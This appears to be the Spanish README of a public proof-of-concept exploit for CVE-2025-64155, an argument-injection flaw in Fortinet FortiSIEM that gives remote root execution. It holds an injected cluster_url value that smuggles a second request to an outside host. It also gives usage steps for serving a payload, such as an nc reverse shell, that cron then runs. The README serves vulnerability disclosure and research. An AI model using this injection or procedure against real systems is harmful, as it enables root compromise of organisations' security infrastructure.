CVE-2025-64155: Inyección de Argumentos en Fortinet FortiSIEM para Ejecución Remota de Código

Exploit de prueba de concepto para Fortinet FortiSIEM que abusa de una inyección de argumentos para escribir un archivo y obtener ejecución de código como root

Blog Post

Análisis en profundidad aquí: Horizon3.ai - CVE-2025-64155: Three Years of Remotely Rooting the Fortinet FortiSIEM

Note

Explotar este problema para sobrescribir archivos de aplicación probablemente provocará inestabilidad del sistema. Úselo con precaución. Las comprobaciones se pueden ejecutar de forma benigna editando cluster_url para que sea: <cluster_url>http://127.0.0.1:80 --next http://<INTERACTSH_URL></cluster_url>

Usage

1. Edite el payload en el servidor web serve.py con el payload deseado (p. ej., nc reverse shell)
2. Edite cluster_url en CVE-2025-64155.py para que apunte a la URL base del servidor donde se ejecuta serve.py (p. ej., http://10.0.40.83:9200)
3. Ejecute el servidor web serve.py
4. Ejecute el exploit CVE-2025-64155.py
5. Espere aproximadamente 1 minuto para que la tarea cron ejecute el payload

% python3 CVE-2025-64155.py -h
usage: CVE-2025-64155.py [-h] -t TARGET [-p PORT]

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        The IP address of the target
  -p PORT, --port PORT  The port of the Phoenix Monitor service

Siga al Equipo de Ataque de Horizon3.ai en Twitter para conocer las últimas investigaciones de seguridad:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

Disclaimer

Este software ha sido creado únicamente con fines de investigación académica y para el desarrollo de técnicas defensivas efectivas, y no está destinado a ser utilizado para atacar sistemas excepto cuando esté explícitamente autorizado. Los mantenedores del proyecto no son responsables del mal uso del software. Úselo con responsabilidad.